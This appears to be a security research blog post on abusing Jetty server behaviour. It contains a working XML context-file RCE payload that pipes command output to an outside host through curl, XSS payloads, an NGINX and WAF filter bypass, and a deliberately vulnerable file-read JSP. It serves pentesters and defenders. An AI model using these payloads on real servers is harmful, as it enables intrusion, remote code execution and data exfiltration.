Jetty Features for Hacking Web Apps

Author

Web Application Security Expert

To properly assess the security of a web application, it’s important to analyze it with regard to the server it will run on. Many things depend on the server, from processing user requests to the easiest way of achieving RCE. Armed with knowledge about the server, we can identify vulnerabilities in an application and make it more secure.

In this article we’ll look at Jetty, a well-known web server and Java web container that is typically deployed behind an Apache or NGINX proxy server. Here’s what we’ll cover:

  • How to find paths to all web applications on the server.
  • How to achieve RCE using an XML file.
  • How to bypass a web application firewall and remain unnoticed.

Detecting Jetty servers in the wild

Jetty’s default port is 8080. This web server is easy to identify if its response contains the Server header with the value “Jetty”. Searching Shodan for “Server: Jetty” returns over 200,000 instances that are accessible via the internet. And these are just the ones that aren’t behind a proxy. In cases where developers hide the server information or the server is behind a proxy, we can identify Jetty servers by comparing responses to the GET / and GET /;" requests or by addressing any resource with /existingUrl/ or /existingUrl;"/. If a server responds with the 200 status code in all cases, it’s most likely Jetty.

Of all the servers on the screenshot below, only Jetty responded to /;" with 200.

Different responses to the same request

Jetty overview

Before we examine specific cases, let me give you an overview of the Jetty server. Later in this article, I will refer to two important variables used by Jetty:

  1. $JETTY_HOME, which maps to the Jetty distribution directory.
  2. $JETTY_BASE, which contains configuration files, web applications, etc. $JETTY_BASE is ./ in relation to a process run by Jetty server.

All web applications are stored in $JETTY_BASE/webapps/. When applications are deployed, they are each assigned their own context. Every context has the contextPath property that defines the URL path served by the associated application. If an application has the contextPath “/test” , it will process all HTTP requests to /test/*. Using contextPath and virtualHost, we can map different paths and virtual hosts to different applications.

Jetty can have a root web application (catch-all context) located in $JETTY_BASE/webapps/root/ that processes all requests to /. In addition to /, this application will process all requests for a resource that is not associated with any registered contexts.

Discovering contexts

Jetty has an interesting feature that in some cases discloses a list of all available contexts, thus revealing paths to all the running applications. If the web server does not have a root application and a request is sent to a resource that is not associated with any of the existing contexts, Jetty will send a response containing a list of the available web applications and their context paths.

Let’s imagine that a server does not have a root application, and two contexts are registered to serve pages for the test.local domain (virtual host) and 192.168.88.129 IP.

The context configuration file of the web application

The application works correctly if opened via a browser. However, if we send a GET request to / with a random value in the Host header, the response will contain a list of all applications, including the admin panel, and their context paths.

Context paths disclosure

RCE via file upload

There are several ways to achieve RCE in a Java application by uploading arbitrary files. Let’s take a look at each of them.

JSP servlet

By default, JSP files are processed in Jetty by org.eclipse.jetty.jsp.JettyJspServlet. This is configured in $JETTY_HOME/etc/webdefault.xml. Another default setting makes Jetty compile and execute all files matching the following masks:

  • *.jsp
  • *.jspf
  • *.jspx
  • *.xsp
  • *.JSP
  • *.JSPF
  • *.JSPX
  • *.XSP

To achieve RCE, we need to upload a file with one of these extensions to the server.  

Note: to enable JSP file processing in Jetty, the jsp module must be enabled.

Case 1

As I mentioned earlier, Jetty may have a root application that processes requests to the server root. Therefore, the easiest way to achieve RCE is to upload a JSP web shell to $JETTY_BASE/webapps/root/ and then access it via HTTP.

JSP web shell in the root app

Case 2

A JSP shell can also be uploaded to $JETTY_BASE/work/ which is normally used as a parent directory for all temporary folders of web applications. When the web server starts, directories for each application will be created in it. The name of the directory will be in the format:

"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"

If we somehow manage to find out what temporary directory has been created, we can try to upload a JSP shell via: $JETTY_BASE/work/"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"/webapps/.

Creation of a temporary directory

Next we open the URL with the required context in our browser and we have RCE.

JSP web shell in the web app temporary directory

Web application upload

If uploading JSP files is impossible or the JSP handler is not enabled, we can use the automatic deploy (hot deploy) feature that is enabled in Jetty by default. When hot deploy is enabled, $JETTY_BASE/webapps/ is constantly scanned for new web applications that are automatically deployed without us having to restart the Jetty server.

Tomcat has the same feature but it is disabled by default

А web application in Jetty can be any of the following:

  • A regular directory
  • A WAR file
  • An XML file (Jetty context XML file)

This means we have two file types that can give us RCE if we upload them to the server.

Case 1

If we are able to upload a WAR archive to $JETTY_BASE/webapps/, we will be able to execute arbitrary code on the server. To create a malicious archive, all we need to do is to place a JSP file with our malicious content in the root of a folder and pack it as a ZIP file with the .war extension.

RCE through .war file upload

If the JSP module is disabled on the server, we can achieve RCE by creating a Java application with servlets.

Case 2

If for some reason it is impossible to upload a WAR archive, we can upload a Jetty XML context file. In this file we describe the configuration of the application that will be deployed. Such files have their own syntax that allows any object to be instantiated and getters, setters, and methods to be called.

We can achieve RCE with the following XML file, whose code will be executed immediately on application deployment:

<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
 <Call class="java.lang.Runtime" name="getRuntime">
  <Call name="exec">
   <Arg>
    <Array type="String">
     <Item>/bin/sh</Item>
     <Item>-c</Item>
     <Item>curl -F "r=`id`" http://PTSWARM.local:1337</Item>
    </Array>
   </Arg>
  </Call>
 </Call>
</Configure>
RCE through XML context file upload

XSS via file upload

We can achieve XSS on a Jetty server with standard configuration by uploading not only well-known .html or .svg files, but also other files with less popular extensions. To test this, I used two types of payload:

  1. XML-based: <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script>
  2. HTML-based: <script>alert('PTSWARM')</script>

The results are in the table below.

ExtensionPayloadBrowser
.htmHTML
.mathmlXML
.rdfXML
.svgzXML
.xhtXML
.xhtmlXML
.xmlXML
.xsdXML
.xslXML
.[randomSymbols]HTML

If a file extension is not in this list, the Jetty server will respond without the Content-type header, and the browser will try to define the content MIME type by itself, which will lead to XSS. The <script>alert('PTSWARM')</script> payload can be used for exploitation.

An XSS attack using files with different extension

Bypassing WAF or filters

With a thorough understanding of Jetty’s inner workings, we can find ways to exploit vulnerabilities in applications running on it even if those vulnerabilities are compensated by a WAF.

Case 1

Knowing how the Jetty server parses URL addresses, we can bypass filters on a proxy server. Imagine that a Jetty server is deployed behind an NGINX proxy with a rule that blocks requests to /adminURL/*.

location ~ /adminURL/ {
  deny all;
}
location / {
  proxy_pass       http://localhost:8080;
  proxy_set_header Host      $host;
  proxy_set_header X-Real-IP $remote_addr;
}

If this rule is configured only on the proxy, we can send an HTTP request to /adminURL;random/ and obtain access to the protected resource on the server.

Bypassing the rule with the “;” character

Case 2

Let’s consider an example of a JSP file that insecurely handles user input.

<%@ page import="java.io.File" %>
<%@ page import="java.util.Scanner" %>

<%

File myObj = new File(request.getParameter("filename"));
Scanner myReader = new Scanner(myObj);
while (myReader.hasNextLine()) {
	String data = myReader.nextLine();
	out.println(data);
}
myReader.close();
%>

The application receives the filename parameter from a user request, opens a file using the path in this parameter, and returns the file content to the user. This is a vulnerability that allows us to read arbitrary files. But what if the application is protected by a WAF that blocks all requests that have / in the GET or POST parameter?

In this case, we can take advantage of the way the request.getParameter() method processes parameters. The getParameter() function works differently on different servers. When getParameter() is called in an application on Jetty, it will look for values both in the GET and POST parameters. If we send a POST request with Content-Type: multipart/form-data, Jetty will use a separate parser to process the request. If the POST parameters include the _сharset_ field, the multipart parser will process all the parameters using the specified encoding. This allows us to disguise our payload using character encoding that renders forbidden symbols in ways that are unrecognizable to the WAF. It is very unlikely that a WAF will parse the values of all the parameters in different encodings, so we have a good chance of bypassing it in this way.

Using the ibm037 charset to encode a parameter value

For this method to work, multipart processing must be enabled on the Jetty server. Multipart processing will be enabled if the server hosts applications that process file uploads.

Case X

There are two more interesting things regarding request parsing in Jetty server. I will cover them only briefly, as I’m not sure that they will always work to bypass a WAF, but in some cases they can help.

1. While parsing the boundary in a multipart request, the parser stops when it reaches ; in the boundary string. As a result, everything that follows ; will be ignored.

Boundary parsing by Jetty server

2. Backslashes are stripped when extracting parameter names from multipart requests, i.e. \[any_symbol] is transformed into [any_symbol]. This may help attackers to bypass a WAF, for example in an XSS attack.

Jetty server ignores “\” character in the parameter name when parsing the multipart request

Conclusion

All web servers have their own unique peculiarities, from parsing HTTP requests to forming responses. In this article I used real examples to illustrate how some of Jetty’s peculiarities can be exploited by hackers.

I hope this study will be of interest to developers, web application researchers, and pentesters. Armed with this knowledge, they can anticipate and prevent the most dangerous vulnerabilities.